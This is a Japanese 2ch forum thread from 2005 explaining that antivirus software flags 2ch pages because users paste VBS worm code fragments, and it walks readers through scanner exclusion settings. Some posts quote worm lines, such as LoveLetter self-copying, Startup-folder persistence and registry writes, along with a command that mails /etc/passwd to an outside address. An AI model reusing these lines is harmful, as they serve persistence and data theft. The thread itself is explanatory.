もう11時か、
2ちゃんねる ■掲示板に戻る■ 全部 1- 最新50 [PR]萌え犬写真館も復活。[PR]  

ノートンがvbsウィルスのソースに誤反応3

1 :他のアンチウィルスソフトが反応する場合もあります:05/03/01 01:58:58 ID:???
只今2chでvbsのウィルスのソースを貼りノートンなどのセキュリティツールを誤反応させるのが流行っています。
あまりにも質問スレなどで既出の(このvbsの)質問が多すぎるのでこのスレへURLを貼って誘導してください。
また新たなパターンのvbsが見つかったら一応このスレで報告願えると幸いです。

■この問題について■
2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。(設定によっては反応しないこともありますが、全く問題ありません)
ご存知の通り、htmlを読んでもこのvbsのソースは実行されることは無いので、全く問題ありません。
また、デフォルトだとIEはInternet Temporary Filesフォルダにhtmlをダウンロードしますので、感染ファイルはここのhtmlファイルにになります。
これらのファイルは削除しても全く問題ありませんが、該当スレを読み直すとまたvbsのソース付きhtmlがダウンロードされてしまうので警告が出ます。

■まとめと対策■
2ちゃんねる見ていたらvbsウィルスが検出された!
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq12
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

前スレ
ノートンがvbsウィルスのソースに誤反応
http://pc.2ch.net/test/read.cgi/sec/1025872269/
ノートンがvbsウィルスのソースに誤反応2
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/

テンプレ>>1-10あたり

2 :ひよこ名無しさん:05/03/01 01:59:38 ID:???
■既知のvbsウィルスのソース■

・VBS.Internal
出元はhttp://tmp.2ch.net/test/read.cgi/download/1025717301/197だと思われる。
ダウソ板からいろんな板へ飛び火した模様。

・VBS.LoveLetter.A
c.Copy(dirsystem&”LOVE−LETTER−FOR−YOU.TXT.vbs
(反応しないように全角で書いてあります)出元不明。ニュー速から?

一般論として「htm」「html」拡張子などを安易に検索対象から外すことは奨励されません。これを感染ターゲットにするウィルスが数種確認されています。
http://www.symantec.com/region/jp/sarcj/data/v/vbs.internal.html


Q.ウイルスコードが貼られているのにノートン反応しない。。。

A.ウイルスコードが貼られている2ちゃんねるのスレをテストページとして使用するのは奨励されない。
なぜなら、ここで言われているノートンの反応は単なる掲示板とスキャンエンジンの「仕様の衝突」であり、
これからも同じページを見ればその都度反応するという保証がないから。
仕様というものは、ある時突然変更されたりするもの。

ネットサーフィン中のウイルス対策ソフトの常駐動作確認は、テスト用に作られたEICARテストファイルにアクセスして行うべき。

EICARテストファイル(正常に常駐していればURLにアクセスと同時に反応します)
ttp://www.eicar.org/download/eicar.com.txt

3 :ひよこ名無しさん:05/03/01 01:59:46 ID:???
        / ̄|
       |  |
       |  |                  / ̄ ̄ ̄ ̄ ̄ ̄
      ,―    \                |
     | ___)   |       ∩∩    ∠ リュンパッチ♪
     | ___)   |       | |_| |      \______
     | ___)   |\___(・∀・ )_____
     ヽ__)_/ \___     _____, )__
         〃  .       /    /     / /    〃⌒i
         |          /    ./     / /    .i::::::::::i
   ____|     /⌒\./    /     / | ____|;;;;;;;;;;;i
  [__]___|    / /-、 .\_.  /     Uし'[_]     .|
   | ||     |    / /i  i    /         | ||      |
   | ||____|____/ / .| .|\_ノ______..| ||      |
   |(_____ノ /_| |_________..| ||      |
   | LLLLLL./ __)L_| |LLLLLLLLLLLLLLLLL. | ||_____」
   | ||    (_/   / i                .| ||    | ||
   |_||        / .ノ               |_||    |_||
            (_/

4 :ひよこ名無しさん:05/03/01 02:00:21 ID:???
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

<  => &lt;
>  => &gt;
&  => &amp;
"  => &quot;

それぞれしっかり置換されていれば反応しない、ここの掲示板の問題。
ノートンが反応するのは、ここの掲示板(2Ch)の仕様なので気にする必要なし。
ここは、時に他のウィルス対策ソフトが反応する場合もある。
反応したらソースを見てみるといい。他の掲示板と違うことに気付くはずだ。

断言できることは、他のWebページでノートンが反応した場合は要注意ということ。


尚、ここはウイルス鑑定スレではありません。
危ないと思ったURLはラウンジ板等の”勇気が無くて見られない画像解説スレ”で診てもらいましょう。
http://find.2ch.net/?STR=%CD%A6%B5%A4%A4%AC%CC%B5%A4%AF%A4%C6+%B2%F2%C0%E2%A5%B9%A5%EC&COUNT=50&TYPE=TITLE&BBS=ALL


■関連
ノートン入れたら2chに書きこめない人へ
http://ansitu.s53.xrea.com/guidance/index.php?NortonInternetSecurity
ノートンインターネットセキュリティ@2ちゃんねる検索
http://find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3+%8E%B2%8E%DD%8E%C0%8E%B0%8E%C8%8E%AF%8E%C4%8E%BE%8E%B7%8E%AD%8E%D8%8E%C3%8E%A8+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL
【ノートン入れたら2chに書きこめない】人へ@2ちゃんねる検索
http://find.2ch.net/?STR=%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2%A3%E3%A3%E8%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4+%BF%CD%A4%D8+board%3A%BD%E9%BF%B4%BC%D4%A4%CE%BC%C1%CC%E4&COUNT=50&TYPE=TITLE&BBS=ALL

5 :ひよこ名無しさん:05/03/01 02:05:28 ID:???
補足ありましたらお願いします。

6 :ひよこ名無しさん:05/03/01 02:06:29 ID:???
ニャンです

7 :ひよこ名無しさん:05/03/01 18:00:01 ID:???
Q.2ちゃんねるの板開いただけで反応します。

A.スレッドタイトルにウイルスコードが貼られていることがあり、それに反応しています。
2ちゃんねるブラウザの場合、ログ保存フォルダの他にスレタイ・既読スレ履歴等を保存しているファイルやフォルダを除外。
各2ちゃんねるブラウザによってスレタイ・既読スレ履歴等を保存しているファイルやフォルダが異なるようなので
特定のドライブ、フォルダ、ファイルをウイルススキャンの対象から除外する方法
http://service1.symantec.com/SUPPORT/INTER/navjapanesekb.nsf/7c3ff4677729271685256c470046ed2e/d9265b84ded9587488256b0400811ff7
↑を参考にお使いの2ちゃんねるブラウザのスレでお聞きください。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08

8 :ひよこ名無しさん:05/03/02 00:36:43 ID:???
その他リンク@2ちゃんねる検索

エロサイト見たら…助けて下さい!
http://find.2ch.net/?STR=%A5%A8%A5%ED%A5%B5%A5%A4%A5%C8%B8%AB%A4%BF%A4%E9+%BD%F5%A4%B1%A4%C6%B2%BC%A4%B5%A4%A4+board%3APC%BD%E9%BF%B4%BC%D4&COUNT=50&TYPE=TITLE&BBS=ALL

パソコン初心者総合質問スレッド
http://find.2ch.net/?STR=%A5%D1%A5%BD%A5%B3%A5%F3%BD%E9%BF%B4%BC%D4%C1%ED%B9%E7%BC%C1%CC%E4%A5%B9%A5%EC%A5%C3%A5%C9+board%3APC%BD%E9%BF%B4%BC%D4&COUNT=50&TYPE=TITLE&BBS=ALL

セキュリティ初心者質問スレッド
http://find.2ch.net/?STR=%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3%BD%E9%BF%B4%BC%D4%BC%C1%CC%E4%A5%B9%A5%EC%A5%C3%A5%C9+board%3A%A5%BB%A5%AD%A5%E5%A5%EA%A5%C6%A5%A3&COUNT=50&TYPE=TITLE&BBS=ALL

9 :ひよこ名無しさん:05/03/03 00:26:00 ID:???
    ◆◇◆ 報告用テンプレ ◆◇◆  (暫定)

>>1-9を読みましたか?            『YES/NO』
■2ちゃんねるの板・スレ・レス番のアドレス  『 』
■ノートンのメッセージ(ウイルス名)        『 』
■ブラウザの種類                 『 』
■ノートンのヴァージョン             『 』
■ノートン以外のアンチウイルスソフト名    『 』
■その他.                        『 』

10 :ひよこ名無しさん:05/03/03 01:13:35 ID:???
2ちゃんねるに貼られたウイルスコードに誤反応していたことがわかったら

インターネットエクスプローラの場合
ツール→インターネットオプション→インターネット一時ファイル、ファイルの削除
これをしないでウイルススキャンしたらインターネット一時ファイル(Temporary Internet Filesフォルダ)でウイルス反応がでます。
また、該当レスを再び読み込むとウイルス反応がでます。
2ちゃんねるブラウザを使って以下の設定をして2ちゃんねるを見ましょう。

2ちゃんねるブラウザの場合
2ちゃんねる専用ブラウザでノートンを使うと今まで取得したログが抹消されてしまい、スレを再表示した時全てが新しいレスになってしまいます、どうすれば解決できるでしょうか?
http://info.2ch.net/wiki/pukiwiki.php?%A5%CE%A1%BC%A5%C8%A5%F3%C6%FE%A4%EC%A4%BF%A4%E9%A3%B2ch%A4%CB%BD%F1%A4%AD%A4%B3%A4%E1%A4%CA%A4%A4%BF%CD%A4%D8#faq08
2chブラウザのログ保存フォルダを「除外」に設定。
NAV2003以降はNorton Anti Virusのオプションで手動スキャンとAuto-Protectでそれぞれ除外の指定をして下さい。

11 :ひよこ名無しさん:05/03/03 02:43:55 ID:7F9C8/Th
よろ
kak.hta';ken=wdt'START
ms-its:mhtml:file://c:\


12 :ひよこ名無しさん:05/03/03 18:20:43 ID:???
>>11
既出。
Wscript.KakWorm
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/946
Bloodhound.Exploit.6
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/932

13 :ひよこ名無しさん:05/03/04 01:48:43 ID:hGA62fOr
http://c-au.2ch.net/test/-/pcqa/1033948204/928
このウイルスを解説してください

14 :ひよこ名無しさん:05/03/04 22:18:30 ID:???
DAT落ち阻止て神戸♪


>>13
VBS.LoveLetter.Var
http://pc5.2ch.net/test/read.cgi/pcqa/1033948204/928

ウイルスコードが貼られているのにノートン反応しないって人は>>2見てね。

15 :ひよこ名無しさん:05/03/05 00:21:55 ID:hfT/sPqY
ありがとう
しかしラブレター1個だけではないはず。
カーネルやネットワークも入っている。
一つ一つ解説してください。

16 :ひよこ名無しさん:05/03/05 19:06:57 ID:5lPM1YuQ
c.Copy(dirsystem&"\MSKernel32.vbs")
c.Copy(dirwin&"\Win32DLL.vbs")
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")
cat /etc/passwd | mail nobody@nonexistent.com
If s = "htm" and fso.FileExists(f1.path+"l") = False thenfso.CopyFile f1.path, f1.path+"l"
Set A4 = A1.CreateTextFile(A1.BuildPath(A1.GetSpecialFolder(1)
fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
fso.copyfile "dirsystem&nurupo.vbs", "j:\windows\start menu\programs\startup\"
If s = "htm" and fso.FileExists(f1.path+"l") = False then fso.CopyFile f1.path, f1.path+"l"


↑こういうのって最初に気づいた奴って天才だよな

17 :cen ◆Pm9xOTJuM. :05/03/05 20:09:53 ID:??? ?#
あ。そうそう。
>>16 みたいなスクリプトを誤反応しないような、datファイルに
datを作り変えるプログラム作ってみました。
よかったら使ってみてください。
http://www.geocities.jp/cen_hp/index.html

18 :ひよこ名無しさん:05/03/05 22:58:07 ID:???
あやすい・・・・・

19 :cen ◆Pm9xOTJuM. :05/03/06 02:36:23 ID:??? ?#
>>18
自分のパソコンで何度も実行してますが、大丈夫ですよー。
さっき総質で見た、未対応のスクリプトに対応させました。

20 :名無しさん@お腹いぱーい。:05/03/06 22:24:25 ID:??? ?##
>>17,19
ご支援ありがとうございます。
ttp://ansitu.xrea.jp/guidance/?NortonInternetSecurity#faq08tool

21 :ひよこ名無しさん:05/03/06 22:26:34 ID:NzpAHwS7
ここの1の解説キボン
http://c-au.2ch.net/test/-/pcqa/1103598574/1

22 :ひよこ名無しさん:05/03/06 22:32:03 ID:???
==================================
=================/∧ =========/∧
===============/ / λ=======/ / λ        ー
=============/  /  λ====/  /  λ        ー /
===========/   /  /λ =/   /  /λ        /
=========/    / / //λ    / / //λ       __
=======/            ̄ ̄ ̄      \     ___
=====./        / ̄ )         ( ̄ヽ λ       /
====/        /●/          \● /λ     /
===/        //                \  /λ
===|                            / /|   ___|____
==|           ∧________   / //|    /
==|           ヽ───────〆   /////  /|\
===|                        / / ////|    |
===\                      / / /////
=====\_                   / //////__/.      |
========\                   ミ/          |
==========\                 /         ─┐
============\                \ .          ─┤
==============\                \      .   ─┘
================\                \
==================\ ・                \
=====================
======================

23 :ひよこ名無しさん:05/03/09 04:14:09 ID:???
hoshu

24 :ひよこ名無しさん:05/03/09 22:29:16 ID:???
未だにVIPの板更新すると、ノートン先生の逆鱗に触れてしまうオイラですが

2chのスレにvbsウィルスのソースを書き込むことによってブラウザがそのスレのhtmlファイルをダウンロードする際に
ウィルスのパターンと一致するので、ウィルスが検出されたとノートン先生などが騒ぎます。(設定によっては反応しないこともありますが、全く問題ありません)

らしいです、騒いでごめんなさい。
2chにかぎっては心配(゚听)イラネみたいです。

25 :24:05/03/09 22:30:49 ID:???
誤爆すいません

26 :ひよこ名無しさん:05/03/10 12:00:18 ID:???
>>24
スレタイにウィルスコードが書いてある模様。

27 :ひよこ名無しさん:05/03/11 19:52:34 ID:???
>>24
漏れもソレダ!!!
もう無視しまくりんぐwwwwwww

28 :ひよこ名無しさん:05/03/11 19:54:19 ID:2tTtEvgw
ノートンなんか使ってんなよ ハゲ

29 :ひよこ名無しさん:05/03/11 20:20:02 ID:???
A Boneを使用してるのですが、PC初心者の上の「初心者の質問」板をクリックするだけで、ノートンがウイルスを検知してしまいます。

しかも板を開く事もできません。毎回そうなってしまいます。
昨日、システムをスキャンしたら確かに感染していました。「初心者の質問」板だけ毎回そうなります。
これは何でしょうか?

30 :ひよこ名無しさん:05/03/11 21:00:24 ID:???
ぐはははははwwwVIPもそうだよ

31 :名無しさん@お腹いぱーい。:05/03/11 22:14:43 ID:??? ?##
>>29
>>7見てね。

32 :ひよこ名無しさん:05/03/12 00:37:07 ID:eI8qHG/W
2ちゃんを普通に見ていただけなのにノートンから「ウィルス名は
Unix.Penguinで、ファイルを修復できません」と表示されてしまいました。何か対策は無いでしょうか?
ちなみに誤作動との見分け方はありますか?

33 :ひよこ名無しさん:05/03/12 04:45:56 ID:???
        / ̄|
       |  |
       |  |                  / ̄ ̄ ̄ ̄ ̄ ̄
      ,―    \                |
     | ___)   |       ∩∩    ∠ リュンパッチ♪
     | ___)   |       | |_| |      \______
     | ___)   |\___(・∀・ )_____
     ヽ__)_/ \___     _____, )__
         〃  .       /    /     / /    〃⌒i
         |          /    ./     / /    .i::::::::::i
   ____|     /⌒\./    /     / | ____|;;;;;;;;;;;i
  [__]___|    / /-、 .\_.  /     Uし'[_]     .|
   | ||     |    / /i  i    /         | ||      |
   | ||____|____/ / .| .|\_ノ______..| ||      |
   |(_____ノ /_| |_________..| ||      |
   | LLLLLL./ __)L_| |LLLLLLLLLLLLLLLL. | ||_____」
   | ||    (_/   / i                .| ||    | ||
   |_||        / .ノ               |_||    |_||
            (_/

34 :ひよこ名無しさん:05/03/12 21:15:24 ID:KI7PmLwk
Open Janeをでスレを見てたらウィルスコードが張られてて
ウィルス警告が出てファイルが修復出来ませんとでました。
ウィルスコードをNGワードに入れたら、NGワードが全部消えて
デスクトップにあるNGWordtxtというアイコンを削除しようとすると
やはりウィルス警告が出て削除できません。
スキャンをするとあるファイルの所まで来ると電源が切れてしまいます。
ウィルス名は「Bloodhound.Exploit6」と出るのですが、どうしたらいいでしょうか・・・。

35 :ひよこ名無しさん:05/03/12 21:50:19 ID:???
>>34
        ∩∩
        | |_| |        / ̄ ̄ ̄ ̄ ̄ ̄ ̄
  / ̄\ ・∀・)   < リュンパッチ♪
.r ┤    ト、    \    \_______
|.  \_/  ヽ   |
|   __( ̄  | |  |
|    __)_ノ ̄ ̄ ̄ ̄\
ヽ___) ノ          \
  ||\|| ̄ ̄ ̄ ̄ ̄ ̄ ̄|| ̄
  ||  || ̄ ̄ ̄ ̄ ̄ ̄ ̄||
     .||              ||

36 :34:05/03/12 23:34:38 ID:???
すみません。
1つは解決しましたがスキャンすると電源が落ちるのは直りませんので
これは他のスレで聞いてみます

37 :ひよこ名無しさん:05/03/17 15:26:43 ID:???
なんだ、最近多いと思ってたがウィルスコードのせいだったのか。
しかしこれってあぼーんされないのかな。
とりあえずここみて安心した。ありがと。

38 :ひよこ名無しさん:2005/03/26(土) 15:19:56 ID:Yoan0Q7l
Norton Anti Virusと使ってます。
ウイルス、Unix PenguinをNGワードに登録するには
どんな単語をNGワードにすればいいんですか?

Unix Penguinと反応するスレ内見てもそれらしい書き込みがないので分かりません。

39 :ひよこ名無しさん:2005/03/26(土) 16:10:26 ID:???
>>38
NGワードに登録するんではなく
Norton Anti VirusのオプションのAuto-Protectと手動スキャンでログフォルダを除外に指定しる

40 :ひよこ名無しさん:2005/03/26(土) 16:12:46 ID:Yoan0Q7l
>>39
いや、それはやってるんですけど、反応するんです。
多分、キャッシュフォルダの方も除外指定にしないとだめっぽいです。
でも、それはセキュリティー的によくないってどっかに書いてあったんで、
NGワードに登録したいんですけど、できないんでしょうか?

41 :ひよこ名無しさん:2005/03/26(土) 16:16:33 ID:???
>>40
2ちゃんねるブラウザのログフォルダを除外にしても2ちゃんねるブラウザで閲覧中に反応するの?

42 :ひよこ名無しさん:2005/03/26(土) 16:26:59 ID:Yoan0Q7l
>>41
そうです。Norton Anti VirusとLive2chの組み合わせでAnti Virusの設定で
Live2chのログフォルダは除外に設定してます。
でも、Live2chで見てるとUnix Penguinだけ反応します。

43 :ひよこ名無しさん:2005/03/26(土) 16:29:39 ID:???
>>42
設定パス間違えてない?

44 :ひよこ名無しさん:2005/03/26(土) 16:32:08 ID:???
これはどうだ?

fso.copyfile "c:\network.vbs", "j:\windows\start menu\programs\startup\"
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs")

ToInfect.CodeModule.InsertLines BGN, ADI1.CodeModule.Lines(BGN, 1)
c.Copy(dirsystem&"\LOVE-LETTER-FOR-YOU.TXT.vbs
G.RegWrite A("IJDX^MNB@M^L@BIHOD]Rnguv`sd]Lhbsnrngu]Vhoenvr]BtssdouWdsrhno]Sto]VhoRu`su"), E.BuildPath(E.GetSpecialFolder(1), A("VHORU@SU/WCR"))
lines(n)=replace(lines(n),"""",chr(93)+chr(45)+chr(93))

ms-its:mhtml:file://c:\ cat /etc/passwd | mail nobody kak.hta';ken=wd+'START

45 :ひよこ名無しさん:2005/03/26(土) 16:33:47 ID:???
と思ったら、VBS.Network.Eとかいうのも反応しっちゃってるよwww
どういうこと?

46 :ひよこ名無しさん:2005/03/26(土) 16:35:49 ID:???
それでええんや。

47 :ひよこ名無しさん:2005/03/26(土) 16:37:15 ID:???
http://pc8.2ch.net/test/read.cgi/pcqa/1109609938/43

48 :ひよこ名無しさん:2005/03/26(土) 16:37:34 ID:???
>>45
      、-'''"´ ̄ ̄`"''''-、
     / / ;;;;;;;;;;;;;  \ \⌒⌒
    / ..::;;● ;;;;;;;;;;;;;, ●;;;;;;;;;::ヽ  ^^
    |. .::;;;;;;;;;;;(__人__);;;;;;;;;;;;;;;;::.|
 ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
     :::::;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::
       :::::::;;;;;;;;;;;;;;;;;;;;;;;;;     
        ::::::::::::::::∧_∧   そうやってなんでも
        ::::::::: ( ::;;;;;;;;:)      VIPのせいにしてりゃいいさ…
          _..  /⌒:::;;;;;ヽ
-― ―'ー'-''―-''/ / ::;;;;;;;;:| |―'''ー'-''――'`'
 ,,  '''' .  ''''' と./ゝ_;_;_ノヽつ   、、, ''"        それがVIPクオリティ…
    ,,, ''  ,,,    ::;;;;;;;;;::: ,,  '''''  ,,,,        http://ex7.2ch.net/news4vip

49 :ひよこ名無しさん:2005/03/26(土) 16:38:45 ID:Yoan0Q7l
>>43
いや、間違えてないと思います。
なんか他のウイルスにも反応してる。。。Network.E。

50 :ひよこ名無しさん:2005/03/26(土) 16:40:10 ID:???
>>49
いやいや、間違えてるんだろ?

51 :ひよこ名無しさん:2005/03/26(土) 16:43:50 ID:Yoan0Q7l
>>50
いや、C\ProgramFiles\Live2ch\logになってるからあってると思います。

52 :ひよこ名無しさん:2005/03/26(土) 16:48:03 ID:???
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i    !|||!|┏━━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i|  / |   / | ┗━━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i!   /,_ ┴─/ ヽ      |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i||     (_゜.,》.'(_゜,》)ミ ヽ       ! | |!i||!|ii||!|ii|
i|ii        / ,,__,ニ、、 ノ( |           i|i!|i|
|i        | Y~~/~y} `, ~ |  そ、そんなー…   |i
!.          | ,k.,.,!,.,.,r| ,!  く                 .!
i        / <ニニニ'ノ    \               l

53 :ひよこ名無しさん:2005/03/26(土) 16:54:31 ID:???
>>51
除外に設定する時にサブフォルダも含めるにチェック入れた?

54 :ひよこ名無しさん:2005/03/26(土) 17:05:16 ID:???
チン      ☆  チン       ☆
       チン    マチクタビレタ〜   チン     ♪
           ♪
    ♪          ☆チン    .☆   ジャーン!   マチクタビレタ〜!
        ☆ チン   〃  ∧_∧  ヽ         / ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄
          ヽ  ___\(・∀・ #) /\_/ < うっかりさん51の報告まだ〜?
        チン    \_/⊂    つ    ‖     \__________
           / ̄ ̄ ̄ ̄ ̄ ̄ ̄/|     ‖        マチクタビレタ〜!
        |  ̄  ̄ ̄ ̄ ̄ ̄ ̄:| :|   /|\
        |             |/

55 :ひよこ名無しさん:2005/03/26(土) 17:07:33 ID:???
もう戻ってきません。

56 :ひよこ名無しさん:2005/03/26(土) 17:21:58 ID:Yoan0Q7l
>>53
チェック入ってます。

57 :ひよこ名無しさん:2005/03/26(土) 17:27:12 ID:???
i|!| |i┏┓! i!┏┳┓| |||i|!i| ||!i|| |||ii| ||| ||| |i||!|i│i!┏┓i!|
|i|┏┛┗━╋┻┛|i!||!|ii|| i|!i||i|┏━┓ ┏┓i|i| i┃┃i!|
i||┗┓┏┓┃||i┏━━━━┓┗━┛ ┃┃|i||!i┃┃i!|
|i |!|i┃┃┃┃i||┗━━━━┛|i|| || ||||!┃┃i|i| i┗┛!i|
i||i ||┃┃┃┃|! |||i ||i    !|||!|┏━━┛┃|i||!i┏┓i|!
|i!i |!┗┛┗┛i|!i|  / |   / | ┗━━━┛i|i| i┗┛i!|
i| |||i|!i| ||!|i||i!   /,_ ┴─/ ヽ      |!i| ||| |i||!|i|i|||| ||i
|i|| ||i!i||     (_゜.,》.'(_゜,》)ミ ヽ       ! | |!i||!|ii||!|ii|
i|ii        / ,,__,ニ、、 ノ( |           i|i!|i|
|i        | Y~~/~y} `, ~ |  そ、そんなー…   |i
!.          | ,k.,.,!,.,.,r| ,!  く                 .!
i        / <ニニニ'ノ    \               l

58 :ひよこ名無しさん:2005/03/26(土) 17:32:20 ID:???
>>56 もうシマンテックに聞きなさい

59 :ひよこ名無しさん:2005/03/26(土) 19:17:05 ID:Yoan0Q7l
>>58
了解w
ありがとうございました

60 :ひよこ名無しさん:2005/04/08(金) 23:17:51 ID:tNlrsDBu
画像板から誘導されてきました。
「2chブラウザのログ保存フォルダを「除外」に設定」
というのはどうやってやるんでしょうか?
壺を使ってます。

初心者すぎてすいません。どなたかよろしくお願いいたします。

61 :ひよこ名無しさん:2005/04/08(金) 23:23:05 ID:???
>>60
テンプレに書いてあるだろ

62 :ひよこ名無しさん:2005/04/09(土) 00:06:17 ID:Zkyvn8EZ
Norton Anti VirusのAuto-Protectと手動スキャンで壺フォルダを除外に指定しても、壺で閲覧中に反応します。
よくわかりません・・・orz



63 :ひよこ名無しさん:2005/04/09(土) 00:07:00 ID:tNlrsDBu

60です

64 :ひよこ名無しさん:2005/04/09(土) 19:08:32 ID:zr8Dnfd3
   ,:::-、       __
      ,,r::::::::::::〈:::::::::)    ィ::::::ヽ
      〃::::::::::::;r‐''´:::::::::::::::::::::ヽ::ノ
    ,'::;'::::::::::::::/::::::::::::::::::::::::::::::::::::
     l::::::::::::::::::l::::::::::●::::::::::::::●:::::ji
    |::::::::::::::::::、::::::::::::::( _●_)::::::,j:l  クマー!
    }::::::::::::::::::::ゝ、::::::::::|∪|_ノ::;!
.    {::::::::::::::::::::::::::::`='=::ヽノ:::::/     
    ';::::::::::::ト、::::::::::::::i^i::::::::::::/
      `ー--' ヽ:::::::::::l l;;;;::::ノ
【ラッキーレス】
このレスを見た人はコピペでもいいので
10分以内に3つのスレへ貼り付けてください。
そうすれば14日後好きな人から告白されるわ宝くじは当たるわ
出世しまくるわ体の悪い所全部治るわでえらい事です



65 :ひよこ名無しさん:2005/04/12(火) 18:29:30 ID:???
今まで書き込めなかったのはノートン先生の仕業だったのか
このスレのおかげで助かりました

66 :ひよこ名無しさん:2005/04/12(火) 22:20:35 ID:kw9rPCF2
マカフィーで反応

67 :66:2005/04/12(火) 23:08:34 ID:kw9rPCF2
駆除も削除も出来ないんだけどほっといていいのですか?

68 :ひよこ名無しさん:2005/04/18(月) 19:11:29 ID:PlotUVoz
>>66
自分もそうなるよ。

69 :ひよこ名無しさん:2005/04/18(月) 22:19:38 ID:???
すいません、ノートンAV2005なんですが、Janeのログを除外に設定したいんですが
AV2005のオプションを開いても「除外」っていう項目が無いのですけど
どうすれば設定できるのですか?
ご指導、お願い致します。

70 :ひよこ名無しさん:2005/04/19(火) 00:47:01 ID:9XxAkRTd
sagase

71 :ひよこ名無しさん:2005/04/22(金) 15:13:49 ID:ZNT0DAb6 ?
大空寺あゆ親衛隊対策

(1)タスクトレイに入っているNorton AntiVirusのアイコンを右クリック
(2)「Norton AntiVirusの設定」をクリック
(3)左側にある「Auto-Protect」をクリック
(4)その下に出てきた「除外」をクリック
(5)「除外する項目」の「新規」をクリック
(6)「C:\Program Files\Live2ch\log」(Live2chの場合)と入力し、「サブフォルダも含める」にチェックを入れ、「OK」をクリック
(7)左側にある「Auto-Protect」をクリック
(8)(4)〜(6)をもう一度繰り返す
(9)設定画面が消えるまで「OK」をクリックする

72 :ひよこ名無しさん:2005/04/22(金) 19:25:55 ID:???
              ∧        l'vヘ
         ハ ┌( ;/ ト, ,、 rヘ  r'^ナrジ-z
    __}ヽ,__ (ヽ/ス_r^フしz,り い)n/イr〜^′
   'っヾ、r'__  |レ'ノ_C'入彳勺ソメろ_j/し-,_
    `フ ヾ勹_| <_r' !|刀_」r''>||/⌒(_rヘ-‐'
     <_ゝし||フぅ(ひzメ__ゝ'l !'そ
        ~zヾ|て 、l レ^ //'| |'~
            | | ヽl| // }|
            | :! || | | ,/ ,'       すいません、ちょっと通りますよ
          | :{. || | |/ /
            l !|| | | /
          ヽ ヽ.|/ //
          _,r)_ j (_,(           ciz
         ,ノこ_- __,ーヽ         ん|Zゥ レz  zjそ_
          }    ...  丿        ろ、,_!|乙7ムLそ/し-z
         ノ""''   一(          `う.l !シ/ア了//_⊂,
        /、__      ヽ         ^'| |~//,/_ソ ハr^
        /    ......     ーl         | |// //ノ
     /~"' 、__/   ,,,...}        |/ ///
      {' _  `y′ 一  /         r'〜(_ノ
     人   =/‐-     ハ       丿"  ''(
      ヽ '' /  __,,  /       / ‐-  ''')
        '∨     X.        }'''   ....ノ 
        j    ー/        /==  ノ'ヽ 
       /=‐  r'´-ヽ        }  ー/''''  {
       ,' _,, 人 ''"`、      ノ.. '' ノ`ヽ ''"ヽ 
        {ー /  \ -'}     / /    \'''}`
      ハ  〈      )八     ( f       )ハ
       ヽ )   ((        )ノ      /
       ノ/     ')    _/

73 :ひよこ名無しさん:2005/04/24(日) 20:15:37 ID:P3pvijoD
ちゃんと2ch.netとAuto-Protectと手動スキャンで除外設定しましたが
VBS.Internalがしつこく警告ストロムしてきます
他に必要な手順はありますか?

74 :ひよこ名無しさん:2005/04/24(日) 20:59:20 ID:KLwGdhW7
>>72
ひわいな大根買い占める! ハイ!
 (( (`Д´) (`Д´) ))
